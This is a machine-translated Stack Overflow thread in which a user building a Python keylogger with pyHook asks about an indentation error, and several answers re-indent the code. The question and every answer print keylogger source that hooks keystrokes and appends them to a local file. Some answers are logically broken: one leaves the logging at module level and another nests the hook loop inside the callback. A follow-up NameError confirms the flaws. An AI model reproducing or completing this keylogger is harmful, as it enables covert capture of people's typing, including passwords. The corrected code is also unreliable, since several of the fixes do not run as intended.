【问题标题】:Python - Error: Expected an Indented BlockPython - 错误:需要一个缩进块
【发布时间】:2016-06-24 19:46:24
【问题描述】:

我一直在篡改 Python 和键盘记录器,试图找到一个关于如何构建一个的综合教程,但一直没有找到。真正让我失望的是模块的可用性,与实际的 python 更新和 pyhooks 相比——试图找到兼容性是非常困难的。无论如何,我终于找到了一个可行的教程,我得到了“预期的块”错误。这是代码。

import win32api 
import sys
import pythoncom, pyHook 
buffer = ''

def OnKeyboardEvent(event):
if event.Ascii == 5: 
sys.exit()

if event.Ascii != 0 or 8: 
f = open ('c:\\output.txt', 'a') 
keylogs = chr(event.Ascii) 
if event.Ascii == 13: 
keylogs = keylogs + '\n' 
f.write(keylogs) 
f.close()

while True:
hm = pyHook.HookManager() 
hm.KeyDown = OnKeyboardEvent 
hm.HookKeyboard() 
pythoncom.PumpMessages()

我在第 5 行代码中遇到错误(如果 event.Ascii == 5:) 如果它有问题,并且它不允许我运行该模块。有什么帮助吗?谢谢。

【问题讨论】:

  • 它需要一个缩进块,所以你应该从第 5 行开始缩进代码。你知道 Python 对缩进敏感吗?
  • 我迷路了,但感谢您的回答
  • 有人能给我指出一个有用的缩进课程的方向吗?
  • 在python中,缩进你的代码是一种要求,而不是像其他语言那样仅仅是一种审美习惯。如果不缩进代码,程序将不知道您的代码块从哪里开始以及它们在哪里结束。我建议在开头使用 IDLE,因为它会自动为您缩进代码。
  • 某人无法找出“预期的阻止”错误,制作了一个键盘记录器.....这里没有任何问题。

标签: python windows python-2.7 keylogger


【解决方案1】:

在您的代码中使用这种正确的 Python 代码格式:

import win32api 
import sys
import pythoncom, pyHook 
buffer = ''

def OnKeyboardEvent(event):
    if event.Ascii == 5: 
        sys.exit()

if event.Ascii != 0 or 8: 
    f = open ('c:\\output.txt', 'a') 
    keylogs = chr(event.Ascii) 
    if event.Ascii == 13: 
       keylogs = keylogs + '\n' 
       f.write(keylogs) 
       f.close()

while True:
    hm = pyHook.HookManager() 
    hm.KeyDown = OnKeyboardEvent 
    hm.HookKeyboard()
    pythoncom.PumpMessages()

【讨论】:

    【解决方案2】:
    import win32api 
    import sys
    import pythoncom, pyHook 
    buffer = ''
    
    def OnKeyboardEvent(event):
        if event.Ascii == 5:
        sys.exit()
        if event.Ascii != 0 or 8:
            f = open ('c:\\output.txt', 'a')
            keylogs = chr(event.Ascii)
        if event.Ascii == 13:
            keylogs = keylogs + '\n'
            f.write(keylogs)
            f.close()
        while True:
            hm = pyHook.HookManager()
            hm.KeyDown = OnKeyboardEvent
            hm.HookKeyboard()
            pythoncom.PumpMessages()
    

    我不确定代码是否有效。这只是一个示例,我们应该如何在 python 中缩进,因为我们这里没有大括号。你也可以参考一下。

    http://www.secnetix.de/olli/Python/block_indentation.hawk

    【讨论】:

      【解决方案3】:

      为您的 python 脚本添加正确的格式,例如为OnKeyboardEvent 函数添加正确的标识:

      def OnKeyboardEvent(event):
          if event.Ascii == 5: 
              sys.exit()
          if event.Ascii != 0 or 8: 
              f = open ('c:\\output.txt', 'a') 
              keylogs = chr(event.Ascii) 
          if event.Ascii == 13: 
              keylogs = keylogs + '\n' 
              f.write(keylogs) 
              f.close()
      

      你的while循环也应该包含标识:

      while True:
          hm = pyHook.HookManager() 
          hm.KeyDown = OnKeyboardEvent 
          hm.HookKeyboard()
          pythoncom.PumpMessages()
      

      请参阅该文章的Lines and Indentation 部分。

      【讨论】:

      • 谢谢老大,我修复了缩进错误。现在它说“回溯(最近一次调用最后一次):文件“C:/Keylogger.py”,第 10 行,在 如果 event.Ascii != 0 或 8:NameError:名称'事件'未定义“
      • @Crash54Fox 我已经更新了答案。错误应该消失
      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 2015-02-16
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2014-03-12
      相关资源
      最近更新 更多